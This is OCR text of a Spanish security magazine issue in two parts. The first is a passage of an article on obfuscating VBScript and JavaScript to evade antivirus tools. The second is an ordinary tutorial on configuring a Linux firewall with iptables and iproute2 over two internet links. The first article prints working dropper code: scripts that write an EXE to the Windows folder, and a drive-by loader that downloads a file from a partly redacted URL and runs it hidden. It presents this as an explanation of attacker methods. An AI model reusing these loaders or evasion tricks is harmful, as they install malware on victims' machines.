aplicación tenga algún problema.<br />
A continuación se ofuscará código<br />
para engañar al programa antivirus. En<br />
este ejemplo se realizará la ofuscación<br />
manualmente (Listado 3). Copiar el<br />
siguiente código en un nuevo archivo<br />
de texto y guardarlo con extensión<br />
.vbs. Este script también debe mostrar<br />
un cuadro de diálogo con cada una de<br />
las direcciones de correo encontradas<br />
en la libreta de direcciones. Al analizar<br />
el fichero con un programa de antivirus<br />
(para este ejemplo se utilizó AVG). Si<br />
el antivirus notifica que es un posible<br />
virus es que tu antivirus es realmente<br />
bueno. En el ejemplo, AVG no detecta<br />
nada sospechoso. Estos ejemplos<br />
también han sido analizados con<br />
Norton Internet Security pero ambos<br />
scripts, parecen ser correctos para este<br />
programa. En este primer ejemplo<br />
se han recuperado todas las direcciones<br />
de la libreta de direcciones y<br />
no se ha usado un codificador especial<br />
para ofuscar el código fuente.<br />
Ocultando<br />
ejecutables usando<br />
VBScript y ofuscación<br />
Normalmente los archivos HTML son<br />
seguros de abrir y no causan ningún<br />
daño en nuestro sistema. ¿Es esto<br />
cierto? Los aparentemente inocentes<br />
archivos HTML podrían contener un<br />
fichero EXE malicioso, y utilizando<br />
scripts embebidos dentro de las páginas<br />
HTML podrían fácilmente instalar<br />
y ejecutar programas ejecutables.<br />
Por lo general, ADODB.Stream y<br />
ADODB.Recordset son utilizados por<br />
el código malicioso para escribir un<br />
contenido embebido desde el exterior<br />
al disco local. Muchos ofuscadores<br />
utilizan un diccionario para ocultar<br />
una acción pero aquí la misma sera<br />
construida manualmente. En el siguiente<br />
ejemplo (Listado 4) se usa<br />
una función llamada Obfusc que codifica<br />
esas cadenas (ADODB.Stream y<br />
ADODB.Recordset). En este ejemplo<br />
pueden verse otras tres funciones que<br />
también usan esta función:<br />
• Convierte de binario a cadena<br />
de caracteres (BSTR) utilizando
un conjunto de registros ADO<br />
(Function RSBinaryToString)<br />
• Lee un fichero binario (Function<br />
ReadBinaryFile)<br />
• Guarda un fichero (Function<br />
saveFile)<br />
El siguiente script (Listado 5) creará<br />
unos ficheros EXE en el directorio de<br />
Windows y un acceso directo. Para<br />
probar el código es necesario reemplazar<br />
tanto del ejecutable<br />
como del acceso directo con<br />
el código hexadecimal de ejecutable y<br />
acceso directo del ejemplo.<br />
Métodos y técnicas<br />
de ofuscación<br />
1.Reemplazar nombres por otros<br />
sin sentido, preservando una correcta<br />
sintaxis del código fuente.<br />
Por ejemplo una variable llamada<br />
Nombre_Archivo será reemplazada<br />
por algo como abxcdfgd96rtg, lo<br />
cual no significa nada y es difícil de<br />
comprender.<br />
• Sustituir valores numéricos por<br />
una expresión aritmética aleatoria<br />
o constante para el mismo valor<br />
numérico, valores decimales y<br />
hexadecimales que evalúan el mismo<br />
valor.<br />
• Quitar los espacios extras y los<br />
comentarios<br />
• Sustituir los nombres de las subrutinas<br />
y funciones por nombres<br />
sin significado. Es obvio lo que<br />
hace una rutina llamada:<br />
Sub Guardar_Archivo(File_<br />
Name,ByteArray)<br />
[instrucciones]<br />
End sub<br />
Pero es muy difícil descubrir que hace<br />
una rutina como:<br />
Sub asdadf12f32sfsd(Ffgsds54,jdhffhska<br />
ka32)<br />
[instrucciones]<br />
end sub<br />
El código ofuscado es extremadamente<br />
difícil de entender por una persona,<br />
cuando el nombre de las variables,<br />
subrutinas y otros símbolos no tienen<br />
ningún sentido y son difíciles de recordar<br />
cuando se intenta comprender el<br />
código. La más común de las técnicas<br />
de ofuscación es aquella que cambia<br />
las variables y los nombres de las<br />
funciones por palabras largas y sin<br />
sentido. Pero cuando son usadas para<br />
Listado 5. Script de ficheros EXE<br />
On Error Resume Next<br />
Dim o,s,dirsys,ico,f,term,g,Des,Shortcut<br />
Dim o1,o2,o3,o4,o5,o6,o7<br />
o3=“ting.”<br />
o4=”fil”<br />
o2=”rip”<br />
o6=”bject”<br />
o1=”Sc”<br />
o5=”esystemo”<br />
o7=o1 & o2 & o3 & o4 & o5 & o6<br />
Set o=CreateObject(o7)<br />
Set s=CreateObject("WScript.Shell")<br />
Set dirsys=o.GetSpecialFolder(0)<br />
ico=split("",")<br />
Set f=o.CreateTextFile(dirsys&"\demoicon.ico",true)<br />
For i=0 To UBound(ico)<br />
f.Write chr(Int("&H"&ico(i)))<br />
Next<br />
f.close<br />
term=split("4D,5A,00,"",",")<br />
Set g=o.CreateTextFile(dirsys & "\demo” & “.e” & “xe",true)<br />
For i=0 To UBound(term)<br />
g.Write chr(Int("&H"&term(i)))<br />
Next<br />
g.close<br />
If not s Is Nothing Then<br />
www.<strong>hakin9</strong>.org/es<br />
Ofuscación<br />
propósitos maliciosos, hay muchos<br />
otros trucos que son usados por los<br />
hackers para ocultar sus acciones y<br />
en muchos de los casos ellos no usan<br />
los programas y métodos clásicos de<br />
Des = s.SpecialFolders("Desktop")<br />
Set Shortcut = s.CreateShortCut(Des & "\Demo Scene" & ".lnk")<br />
Shortcut.TargetPath = dirsys & "\demo” & “.e” & “xe"<br />
Shortcut.WorkingDirectory = "c:\\"<br />
Shortcut.WindowStyle = 1<br />
Shortcut.Arguments = ""<br />
Shortcut.IconLocation = dirsys&"\demoicon.ico,0"<br />
Shortcut.Save<br />
Set Shortcut = Nothing<br />
end if<br />
Listado 6. Script para Windows NT 4.0 y Windows 98<br />
Dim refferrer1, i<br />
refferrer1="436F6E7374204D595F444F43554D454E5453203D202648352600536574206F62<br />
6A5368656C6C203D204372656174654F626A65637428225368656C6C2E4170706C6963617469<br />
6F6E222900536574206F626A466F6C646572203D206F626A5368656C6C2E4E616D6573706163<br />
65284D595F444F43554D454E54532900536574206F626A466F6C6465724974656D203D206F62<br />
6A466F6C6465722E53656C6600577363726970742E4563686F206F626A466F6C646572497465<br />
6D2E506174680053657420636F6C4974656D73203D206F626A466F6C6465722E4974656D7300<br />
466F722045616368206F626A4974656D20696E20636F6C4974656D7300202020205773637269<br />
70742E4563686F206F626A4974656D2E4E616D65004E65787400"<br />
Function decode(x)<br />
For i = 1 To Len(x) Step 2<br />
If Mid(x, i, 2) = "00" Then<br />
decode = decode & vbCrLf<br />
Else<br />
decode = decode & Chr(Int("&H" & Mid(x, i, 2)))<br />
End If<br />
Next<br />
End Function<br />
21
kit<br />
ofuscación, por lo que el trabajo de<br />
perención se torna muy difícil.<br />
Los siguientes ejemplos ilustrarán<br />
una técnica frecuentemente<br />
utilizada por los hackers. Han sido<br />
adaptados de un ejemplo real y<br />
Listado 7. Código oculto<br />
Const MY_DOCUMENTS = &H5&<br />
Set objShell = CreateObject("Shell.Application")<br />
Set objFolder = objShell.Namespace(MY_DOCUMENTS)<br />
Set objFolderItem = objFolder.Self<br />
Wscript.Echo objFolderItem.Path<br />
Set colItems = objFolder.Items<br />
For Each objItem in colItems<br />
Wscript.Echo objItem.Name<br />
Next<br />
un código como este (Listado 6)<br />
puede ser fácilmente localizado en<br />
muchos sitios web. Aparentemente<br />
este código parece normal y no<br />
sospechoso. Y en este caso lo es,<br />
mostrará el contenido del directorio<br />
Listado 8. Transformando un script a su código hexadecimal<br />
'fso<br />
'create the object<br />
Dim fso<br />
Set fso = CreateObject("Scripting.FileSystemObject")<br />
Dim outputFile<br />
'A file where we will save the hex equivalent<br />
outputFile = "C:\Hex.txt" ‘The<br />
Dim txtstreamout<br />
Set txtStreamOut = fso.OpenTextFile(OutputFile, 2, True)<br />
'The script which want to convert into hex<br />
Dim inputFile<br />
inputFile = "C:\Myscript.vbs"<br />
Dim txtstreamin<br />
Set txtStreamIn = fso.OpenTextFile(inputFile, 1, True)<br />
dim text<br />
Do while txtstreamin.atendofstream=false<br />
text=txtStreamin.readline<br />
txtStreamOut.write gethex(text) & "00"<br />
Loop<br />
Function GetHex(text)<br />
dim i<br />
dim u<br />
For i=1 to len(text)<br />
u=asc(mid(text,i,1))<br />
getHex=gethex & hex(u)<br />
Next<br />
End function<br />
Listado 9. Código usado por un sitio web maliciosos<br />
m1="object"<br />
m2="classid"<br />
m3="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"<br />
m4="Microsoft.XMLHTTP"<br />
m5="Shell.Application"<br />
MircoLong="hxxp://www.xvg[replaced content]"<br />
'…<br />
set MircoLonge=MircoLongc.createobject(m5,"")<br />
MircoLonge.ShellExecute MircoLong9,BBS,BBS,"open",0<br />
'…<br />
22 www.<strong>hakin9</strong>.org/es<br />
Mis Documentos. Devolverá la ruta<br />
del directorio Mis Documentos, y<br />
listará todos los objetos encontrados<br />
en ese directorio. Es un script<br />
para Windows NT 4.0 y Windows<br />
98, este script requiere Windows<br />
Script Host 5.1 e Internet Explorer<br />
4.0 o superior. Lo que hay dentro<br />
de este (lo que ejecuta la instrucción<br />
Execute) es el siguiente código<br />
(Listado 7). Para transformar un<br />
script en su equivalente hexadecimal,<br />
el siguiente código podría ser<br />
muy útil. Reemplazar las rutas con<br />
las propias y podremos transformar<br />
cualquier script (Listado 8).<br />
En todo lo visto anteriormente,<br />
estas secuencias de código<br />
son totalmente inocentes, pero<br />
un método como este fue recientemente<br />
usado por un sitio web<br />
malicioso donde la secuencia de<br />
contenido codificado, decodificado<br />
se parecía a este (Listado 9). El<br />
código se aprovecha de una vulnerabilidad<br />
llamada Drive-by exploits,<br />
descarga un ejecutable desde el<br />
mismo servidor y lo ejecuta en<br />
el sistema de la víctima. Hay que<br />
tener en cuenta que es bastante<br />
frecuente que quien gestiona esos<br />
servidores web cambie el código<br />
malicioso a menudo para reducir<br />
el riesgo de ser detectados por los<br />
antivirus. Otra técnica es el método<br />
de partición para dividir algunas<br />
condiciones. No es recomendable<br />
probar el método ilustrado en<br />
el siguiente ejemplo (Listado 10)<br />
aunque algunos elementos fueron<br />
reemplazados y el mismo ya fue<br />
ilustrado en algunos de los ejemplos<br />
anteriores.<br />
Algunas de las técnicas de<br />
ofuscación utilizan la naturaleza dinámica<br />
de Javascript (una porción<br />
de código es almacenada como<br />
una cadena encriptada, la cual es<br />
desencriptada y evaluada). Esto<br />
puede hacerse varias veces. Otras<br />
técnicas incluyen la inserción de<br />
código de imitación, así como enlaces<br />
HTML de imitación para legitimar<br />
páginas. Pero probablemente<br />
los mayores fans de la ofuscación<br />
sean los spammers. Ellos usan<br />
Javascript ofuscado, VBScript o
código HTML en los mensajes<br />
de spam. El mensaje ofuscado,<br />
cuando es mostrado por un cliente<br />
de correo que interprete HTML,<br />
aparece como un mensaje razonablemente<br />
normal. Sin embargo,<br />
cuando se examina el código fuente,<br />
las ofuscaciones hacen muy<br />
difícil a los investigadores discernir<br />
donde apuntan los enlaces, o que<br />
hace el código. Diariamente pueden<br />
encontrarse muchos ejemplos<br />
de código ofuscado en el buzón de<br />
correo. El código fuente de cualquier<br />
mensaje de spam puede sorprender<br />
a muchos (Listado 11). La<br />
mayoría de los mensajes de spam<br />
incluyen muy buenos ejemplos de<br />
código ofuscado.<br />
Conclusión<br />
El ofuscador de código es un programa<br />
que codifica el código fuente<br />
para hacer que el programa sea<br />
difícil de comprender o para evitar<br />
la ingeniería inversa.<br />
El hecho de que sea un lenguaje<br />
interpretado que es ejecutado desde<br />
su código fuente original, lenguajes<br />
de script tales como JavaScript o<br />
VBScript están abiertos a inspección<br />
pública. Sin la ofuscación de código,<br />
el código fuente puede ser fácilmente<br />
copiado y modificado para ser<br />
usado para otros propósitos.<br />
La función básica de un ofuscador<br />
es hiper-complicar el código<br />
fuente a los lectores, para que no<br />
pueda ser decompilado con éxito.<br />
También existen des-ofuscadores,<br />
los cuales hacen el trabajo inverso.<br />
Una práctica común en la ofuscación<br />
es renombrar cada clase desde algo<br />
descriptivo como Copiar_Fichero, a<br />
alguna secuencia sin sentido como<br />
fugjfgfg3253fggjh. Los métodos de<br />
clase también son renombrados a<br />
func _ a(), func _ b(), etc. Muchos<br />
hackers usan las técnicas de ofus-<br />
Sobre el Autor<br />
Laic Aurelaian es Ingeniero Rumano<br />
independiente, revelador de software.<br />
Por más informaciones por favor ver<br />
páginas: http://xidie.ro<br />
Listado 10. Ejemplo del metodo de partición<br />
On error resume next<br />
clID1 = "clsi"<br />
clID2 = "d:BD96C[Replaced]"<br />
XML1 = "Mic"<br />
XML2 = "rosoft.XMLHTTP"<br />
AdoSqa1 = "Adodb.S"<br />
AdoSqa2 = "tream"<br />
oGet = "GET"<br />
fname1 = "AdCount.com"<br />
SFO = "Scripting.FileSystemObject"<br />
SApp = "Shell.Application"<br />
dl = "[replaced]"<br />
Set df = document.createElement("object")<br />
df.setAttribute "classid", clID1&clID2<br />
Set x = df.CreateObject(XML1&XML2,"")<br />
set S = df.createobject(AdoSqa1&AdoSqa2,"")<br />
S.type = 1<br />
x.Open oGet, dl, False<br />
x.Send<br />
set F = df.createobject(SFO,"")<br />
set tmp = F.GetSpecialFolder(2)<br />
fname1 = F.BuildPath(tmp,fname1)<br />
S.open<br />
S.write x.responseBody<br />
S.savetofile fname1,2<br />
S.close<br />
set Q = df.createobject(SApp,"")<br />
Q.ShellExecute fname1,"","","open",0<br />
Listado 11. Ejemplo del código usado por los spammers<br />
var a=' Replaced';<br />
var e=256,x=0,o="",t=new Array(4113),s="Ñ#Ñx2";<br />
function g(s,f){if(s.length=1)&256)==0)<br />
{if((c=g(s,0))==e)break;l=c|65280;}if(l&1){if((c=g(s,1))==e)break;<br />
os+=c;t[r++]=c;r&=4095;}else{if((i=g(s,0))==e)break;<br />
if((j=g(s,0))==e)break;i|=((j&240)
Firewall con 2 canales<br />
de Internet<br />
Samuel Diaz<br />
El acceso a Internet ya no debe depender<br />
de un único proveedor, para estar presente<br />
en la red se debe asegurar que tanto<br />
la infraestructura tecnológica como los canales<br />
de comunicaciones se encuentren disponibles<br />
en todo momento. Al surgir esta necesidad y no<br />
encontrar un documento que me pudiera ayudar<br />
a solucionar esta problemática en conjunto, me<br />
di a la tarea de plasmar mis experiencias en la<br />
solución de esta problemática. Para atacar este<br />
problema se debe dividir es 2 partes:<br />
• Seguridad<br />
• Enrutamiento<br />
La parte de seguridad se trabaja con iptables,<br />
para crear reglas de filtrado de paquetes<br />
que permitan la salida hacia Internet de los<br />
usuarios por un canal o por el otro, según<br />
sean creadas estas reglas (reglas de NAT).<br />
La parte de enrutamiento se trabaja con<br />
un proyecto llamado iproute2 http://linuxnet.osdl.org/index.php/Iproute2<br />
el cual nos<br />
permite realizar la tarea de enrutamiento por<br />
bien sea por un canal o por el otro. Este proyecto<br />
como iptables ya se encuentra disponible<br />
en una gran mayoría de distribuciones.<br />
24 www.<strong>hakin9</strong>.org/es<br />
El presente documento nace<br />
de la necesidad que surgió de<br />
poder configurar un acceso a<br />
Internet a través de 2 canales,<br />
utilizándolos simultáneamente.<br />
Todo esto debe lograrse sin<br />
modificar la estructura de red<br />
actual, o conservando el acceso<br />
a todos los recursos que los<br />
usuarios tienen antes de esta<br />
implementación.<br />
Para que todo en conjunto funcione correctamente<br />
la parte de seguridad y el enrutamiento<br />
deben ir de la mano con las mismas configuraciones<br />
y los mismos parámetros.<br />
Procedimiento para configurar<br />
un firewall en linux con accesso<br />
a dos canales de internet<br />
El diagrama de red presentado (Figura 1) se<br />
compone básicamente de una red DMZ con<br />
direccionamiento 10.10.10.0/24, cuyo default gateway<br />
es 10.10.10.70 y se encuentra conectada a<br />
la interfase eth2. Se tienen dos canales de Internet<br />
en redes diferentes, la primera se encuentra<br />
En este artículo aprenderás<br />
• Usar un dispositivo de seguridad atraves de 2<br />
canales.<br />
• Como configurar firewall, como protección de<br />
informacion privada en Linux.<br />
Lo que deberias saber<br />
• Un cortafuegos no puede protegerse contra<br />
ataques desde su punto de operación.
en la red 192.168.1.0/24 conectada a<br />
la interfase eth0 y con dirección IP<br />
192.168.1.70, para esta red se cuenta<br />
con un gateway 192.168.1.1. El segundo<br />
canal se encuentra conectado<br />
a la interfase eth3 y con dirección IP<br />
192.168.9.70, este canal cuenta con<br />
el gateway 192.168.9.111. La red LAN<br />
se encuentra conectada a la interfase<br />
eth1 y con una dirección de red<br />
172.16.1.0/24, el default gateway de<br />
esta red es 172.16.1.70. Desde esta<br />
red se tiene un enrutador que conecta<br />
a la red WAN con las sedes de las ciudades<br />
principales, ejemplo, Medellín,<br />
Cali, Barranquilla, etc. La dirección<br />
de este enrutador en la sede principal<br />
es 172.16.1.1, Por ejemplo, la sede<br />
de Medellín tiene la dirección de red<br />
172.17.1.0/24 y Cali tiene 172.17.1.0/<br />
24. En este laboratorio se probará<br />
un balanceo de carga manual sobre<br />
los canales de Internet, para esto se<br />
situarán diferentes equipos detrás del<br />
firewall, los equipos ubicados en la<br />
DMZ tendrán la siguiente información<br />
de red:<br />
Equipo1DMZ Equipo2DMZ<br />
IP= 10.10.10.1/24 IP= 10.10.10.15/24<br />
GW= 10.10.10.70 GW= 10.10.10.70<br />
DNS1= 200.21.200.2 DNS1= 200.21.200.2<br />
DNS2= 63.171.232.38 DNS2= 63.171.232.38<br />
Continuando con el laboratorio, el<br />
Equipo1DMZ saldrá por el primer canal<br />
de Internet, o sea por el gateway<br />
192.168.1.1, y el Equipo2DMZ saldrá por<br />
Primer Canal de Internet<br />
192.168.1.0/24<br />
IP=192.168.9.70<br />
GW=192.168.9.111<br />
Segundo Canal<br />
de Internet<br />
192.168.9.0/24<br />
Figura 1. El diagrama de red<br />
Firewall con 2 canales de Internet<br />
el segundo canal de Internet, o sea por<br />
el gateway 192.168.9.111. Estos equipos<br />
tendrán salida directa a Internet a<br />
través de reglas de NAT, lo cual les permitirá<br />
salir libremente hacia Internet. Se<br />
situará otro equipo en la red LAN con la<br />
siguiente información de red:<br />
Equipo1LAN<br />
IP= 172.16.1.50/24<br />
GW= 172.16.1.70<br />
DNS1= 200.21.200.2<br />
DNS2= 63.171.232.38<br />
Este equipo tendrá una regla de NAT<br />
que le permite salir libremente hacia<br />
Internet. Para complementar este laboratorio<br />
se puede situar otro equipo<br />
en la red LAN con la siguiente información<br />
de red:<br />
Equipo2LAN<br />
IP= 172.16.1.100/24<br />
GW= 172.16.1.70<br />
DNS1= 200.21.200.2<br />
DNS2= 63.171.232.38<br />
Este equipo no tendrá salida a Internet<br />
directamente, ya que en las reglas de<br />
firewall no se configurará una regla de<br />
NAT que le permita la salida libre a Internet.<br />
Se puede configurar un servidor<br />
Proxy, que les permita el acceso a los<br />
equipos que no tienen salida directa.<br />
Este equipo saldrá por el primer canal<br />
de Internet, por el gateway 192.168.1.1.<br />
El enrutador ubicado en la red LAN<br />
tendrá dirección IP 172.16.1.1, y este<br />
IP=192.168.1.70<br />
GW=192.168.1.1<br />
IP=10.10.10.70<br />
IP=172.16.1.70<br />
DMZ<br />
10.10.10.0/24<br />
LAN<br />
172.16.1.0/24<br />
www.<strong>hakin9</strong>.org/es<br />
IP=172.16.1.1<br />
será la puerta de enlace para poder<br />
llegar a las regionales. Los clientes<br />
únicamente tendrán como default gateway<br />
el firewall, y este a su vez tendrá<br />
la tabla de enrutamiento para poder<br />
brindar acceso a Internet, junto con la<br />
información de rutas para llegar a las<br />
regionales a través del enrutador ubicado<br />
en la LAN. El primer paso debe<br />
ser tener el firewall Linux configurado<br />
con la siguiente información de red:<br />
Nombre interface= eth0<br />
IP=192.168.1.70/24<br />
Nombre interface= eth1<br />
IP=172.16.1.70/24<br />
Nombre interface= eth2<br />
IP=10.10.10.70/24<br />
Nombre interface= eth3<br />
IP=192.168.9.70/24<br />
Se debe editar el archivo /etc/<br />
iproute2/rt _ tables e ingresar la<br />
información con las tablas que se<br />
utilizarán.<br />
201 T1<br />
202 T2<br />
Para este ejemplo se utilizarán dos<br />
tablas. T1 y T2. Los nombres de las<br />
tablas no son importantes, se les<br />
puede dar el nombre que se desee,<br />
siempre y cuando se ingresen en el<br />
archivo /etc/iproute2/rt _ tables, y<br />
después sean utilizadas en el script<br />
de enrutamiento. Para este ejemplo<br />
T1 será la tabla con la cual se utiliza-<br />
GW=172.17.1.1<br />
GW=172.18.1.1<br />
WAN<br />
MEDELLIN<br />
172.17.1.0/24<br />
CALI<br />
172.18.1.0/24<br />
25
kit<br />
ra el primer canal de Internet, cuyo<br />
default gateway es 192.168.1.1. Y T2<br />
será la tabla de enrutamiento que<br />
utilizará el segundo canal de Internet<br />
con default gateway 192.168.9.111.<br />
Una vez se tienen estos datos configurados,<br />
se debe generar un script<br />
para la tabla de enrutamiento con la<br />
siguiente información (ver Listado<br />
1). Después de tener listo el enruta-<br />
Listado 1. Primer canal de internet (default gateway<br />
es 192.168.1.1.)<br />
#!/bin/bash<br />
# Samuel Diaz<br />
# Enero de 2007<br />
# Bogota - Colombia<br />
#Tabla de Rutas Red de pruebas<br />
# Se limpian las tablas de enrutamiento y se reinician<br />
las interfaces de red para limpiar todas las posibles<br />
rutas que se tengasn<br />
echo "Limpiando Tablas de enrutamiento"<br />
ip route flush all<br />
ip route flush table 201<br />
ip route flush table 202<br />
ip route flush table 222<br />
ip rule show | grep -Ev '^(0|32766|32767):' \<br />
| while read PRIO RULE; do<br />
ip rule del prio ${PRIO%%:*} $( echo $RULE | sed<br />
's|all|0/0|' )<br />
ip rule del prio ${PRIO%%:*} $( echo $RULE )<br />
done<br />
ip route flush default<br />
rcnetwork restart<br />
#Definicion de interfaces de red, Redes locales, DMZ y<br />
redes de canales de Internet.<br />
echo "Configuracion Automatica de Rutas"<br />
# Interface eth0, Primer canal<br />
IF0="eth0"<br />
# Interface eth1, red local<br />
IF1="eth1"<br />
# Interface eth2, DMZ<br />
IF2="eth2"<br />
# Interface eth3, segundo canal<br />
IF3="eth3"<br />
# IP eth0, primer canal<br />
IP0="192.168.1.70"<br />
# IP eth1, red local<br />
IP1="172.16.1.70"<br />
# IP eth2, DMZ<br />
IP2="10.10.10.70"<br />
# IP eth3, segundo canal<br />
IP3="192.168.9.70"<br />
# Gateway Primer Canal de Internet<br />
P0="192.168.1.1"<br />
# Gateway Segundo Canal de Internet<br />
P3="192.168.9.111"<br />
# Red primer canal<br />
P0_NET="192.168.1.0/24"<br />
# Red local<br />
P1_NET="172.16.1.0/24"<br />
# Red DMZ<br />
P2_NET="10.10.10.0/24"<br />
miento, se deben crear las reglas de<br />
firewall para permitir el tráfico, junto<br />
con las reglas de NAT para completar<br />
el ejercicio. Para esto se crea otro<br />
script con las políticas de firewall.<br />
Este es el strip creado, donde únicamente<br />
se le asignas permisos de salida<br />
a las ips del ejercicio, junto con<br />
las reglas de NAT para este ejemplo<br />
(ver Listado 2). NOTA: Para este<br />
26 www.<strong>hakin9</strong>.org/es<br />
ejemplo se deben tener en cuenta<br />
las siguientes condiciones:<br />
• La IP= 10.10.10.20 utilizará el<br />
canal de la red 192.168.1.X, para<br />
esto se debe crear una regla<br />
de NAT que haga NAT con la<br />
dirección IP del firewall que se<br />
encuentra en esa red, en este<br />
caso la ip 192.168.1.69.<br />
# Red Segundo Canal<br />
P3_NET="192.168.9.0/24"<br />
# Definicion de regionales<br />
#Medellin<br />
MEDELLIN="172.17.1.0/24"<br />
#Cali<br />
CALI="172.18.1.0/24"<br />
# Se definen las rutas de las redes donde se encuentran las<br />
# salidas de internet, junto con el gateway de cada<br />
# canal y se asocian a las tablas T1 y T2.<br />
ip route add $P0_NET dev $IF0 src $IP0 table T1<br />
ip route add default via $P0 table T1<br />
ip route add $P3_NET dev $IF3 src $IP3 table T2<br />
ip route add default via $P3 table T2<br />
ip route add $P0_NET dev $IF0 table T1<br />
ip route add $P3_NET dev $IF3 table T1<br />
ip route add $P2_NET dev $IF2 table T1<br />
ip route add 127.0.0.0/8 dev lo table T1<br />
ip route add $P0_NET dev $IF0 table T2<br />
ip route add $P3_NET dev $IF3 table T2<br />
ip route add $P1_NET dev $IF1 table T2<br />
ip route add 127.0.0.0/8 dev lo table T2<br />
#Se asocian la red local y DMZ para que se tenga<br />
# enrutamiento en las 2 tablas.<br />
ip route add $P2_NET dev eth2 table T1<br />
ip route add $P2_NET dev eth2 table T2<br />
ip route add $P1_NET dev eth1 table T2<br />
ip route add $P1_NET dev eth1 table T1<br />
ip route add $MEDELLIN via 172.16.1.1 dev eth1 table T1<br />
ip route add $MEDELLIN via 172.16.1.1 dev eth1 table T2<br />
ip route add $CALI via 172.16.1.1 dev eth1 table T1<br />
ip route add $CALI via 172.16.1.1 dev eth1 table T2<br />
#se define el default gateway del firewall<br />
ip route add default via $P0<br />
ip rule add from $IP0 table T1<br />
ip rule add from $IP3 table T2<br />
# Se crean las definiciones de los gateway de cada tabla,<br />
# junto con que ip utilizaran esas tablas<br />
#ip rule add from 10.10.10.20 table T1<br />
ip rule add from 10.10.10.1/32 table T1<br />
ip rule add from 10.10.10.15/32 table T2<br />
ip rule add from 10.10.10.16/32 table T1<br />
#ip rule add from 10.10.10.50 table T2<br />
#ip rule add from 172.16.1.20 table T1<br />
#ip rule add from 172.16.1.50 table T2<br />
# Se refresca la tabla de cache<br />
ip route flush cache<br />
ip rule add from 172.16.1.0/24 table T1<br />
ip rule add from $MEDELLIN table T1<br />
ip route flush cache<br />
#route add default gw 192.168.1.1<br />
route add -net 172.17.1.0/24 gw 172.16.1.1
Listado 2. Segundo canal de internet ( default<br />
gateway 192.168.9.111.)<br />
#!/bin/sh<br />
# Samuel Diaz<br />
# Enero de 2007<br />
# Bogota - Colombia<br />
# modulos no implementados<br />
modprobe ip_queue<br />
modprobe ip_tables<br />
modprobe ipt_MARK<br />
modprobe ipt_REJECT<br />
modprobe ipt_TCPMSS<br />
modprobe ipt_TOS<br />
modprobe ipt_tos<br />
modprobe ipt_limit<br />
modprobe ipt_mac<br />
modprobe ipt_mark<br />
modprobe ipt_multiport<br />
modprobe ipt_owner<br />
modprobe ipt_state<br />
modprobe ipt_tcpmss<br />
modprobe ipt_LOG<br />
modprobe ipt_MASQUERADE<br />
# Soporte para ftp, IRC<br />
# Los modulos estan en /usr/include/linux/netfilter_ipv4<br />
modprobe ip_conntrack<br />
modprobe ip_conntrack_ftp<br />
modprobe ip_conntrack_irc # Funciona en kernel 2.4.19<br />
modprobe ip_nat_ftp<br />
# Habilita enrutamiento<br />
echo "1" > /proc/sys/net/ipv4/ip_forward<br />
# Habilita IP Dinamico. 1=Habilitado, 0=No Habilitado<br />
echo "0" > /proc/sys/net/ipv4/ip_dynaddr<br />
# Limpia los canales<br />
iptables -F INPUT<br />
iptables -F FORWARD<br />
iptables -F OUTPUT<br />
iptables -F<br />
iptables -X<br />
iptables -t nat -F<br />
• La IP= 10.10.10.50 utilizará el<br />
canal de la red 192.168.9.X, para<br />
esto se debe crear una regla<br />
de NAT que haga NAT con la<br />
dirección IP del firewall que se<br />
encuentra en esa red, en este<br />
caso la ip 192.168.9.69.<br />
• Si se desea hacer un cambio, se<br />
debe tener en cuenta el canal a<br />
utilizar, para crear la regla de<br />
NAT respectiva con la dirección<br />
IP de ese segmento.<br />
• Los scripts generados anteriormente<br />
se pueden crear /etc/<br />
init.d/rutas.sh y /etc/init.d/firewall<br />
Sobre el Autor<br />
Samuel Diaz - hsdiaz80@yahoo.com<br />
samuel.diaz@globalteksecurity.com<br />
Firewall con 2 canales de Internet<br />
con permisos de ejecución y<br />
para activarlos automáticamente<br />
cuando se inicia la máquina se<br />
pueden ejecutar los siguientes<br />
comandos: Chkconfig --level 35<br />
rutas on<br />
Conclusión<br />
Iproute2 permite a los administradores<br />
poder tener disponibilidad de acceso<br />
a Internet, adquiriendo varios canales<br />
y utilizándoles simultáneamente, y en<br />
caso de falla de alguno de ellos poder<br />
enlutar todo el tráfico por el canal disponible<br />
con unos pocos pasos y así no<br />
perder conectividad. Este proyecto va<br />
más allá de puro enrutamiento, permite<br />
tener control sobre el tráfico TCP/IP<br />
en nuestra máquina Linux. La gran<br />
mayoría de los sistemas actuales están<br />
www.<strong>hakin9</strong>.org/es<br />
iptables -t nat -X<br />
# La política es: todo es prohibido hasta que se diga<br />
lo contrario<br />
# Esta técnica se usa en Europa<br />
iptables -P INPUT DROP<br />
iptables -P OUTPUT ACCEPT<br />
iptables -P FORWARD ACCEPT<br />
# La tarjeta de red local siempre debe permitir todo<br />
iptables -A INPUT -i lo -j ACCEPT<br />
iptables -A INPUT -i eth0 -j ACCEPT<br />
iptables -A INPUT -i eth1 -j ACCEPT<br />
#iptables -A INPUT -i eth2 -j ACCEPT<br />
# Permite PING para hacer pruebas de conectividad<br />
iptables -A INPUT -p icmp -j ACCEPT<br />
# Nat - Permite a los PC de LAN salir a internet<br />
#*** NAT - ESTAS DIR. IP TIENEN ACCESO A TODOS LOS<br />
SERVICIOS ***<br />
iptables -t nat -A POSTROUTING -j SNAT -s 172.16.1.15/32<br />
--to 192.168.1.70<br />
iptables -t nat -A POSTROUTING -j SNAT -s 172.16.1.20/32<br />
--to 192.168.1.70<br />
iptables -t nat -A POSTROUTING -j SNAT -s 172.17.1.50/32<br />
--to 192.168.1.70<br />
iptables -t nat -A POSTROUTING -j SNAT -s 10.10.10.1/32<br />
--to 192.168.1.70<br />
iptables -t nat -A POSTROUTING -j SNAT -s 10.10.10.15/32<br />
--to 192.168.9.70<br />
iptables -t nat -A POSTROUTING -j SNAT -s 10.10.10.16/32<br />
--to 192.168.1.70<br />
iptables -t nat -I PREROUTING -p tcp -d 192.168.1.70<br />
--dport 2525 -j DNAT --to 172.16.1.10:25<br />
iptables -t nat -I PREROUTING -p tcp -d 192.168.9.70 -dport<br />
25 -j DNAT --to 10.10.10.15:25<br />
iptables -t nat -I PREROUTING -p tcp -d 192.168.9.70 -dport<br />
21 -j DNAT --to 10.10.10.15:21<br />
iptables -t nat -I PREROUTING -p tcp -d 192.168.1.70 -dport<br />
21 -j DNAT --to 172.17.1.50:21<br />
iptables -t nat -I PREROUTING -p tcp -d 192.168.1.70 -dport<br />
25 -j DNAT --to 10.10.10.1:25<br />
iptables -t nat -I PREROUTING -p tcp -d 192.168.1.70 -dport<br />
80 -j DNAT --to 10.10.10.1:80<br />
limitados a tener únicamente a nivel de<br />
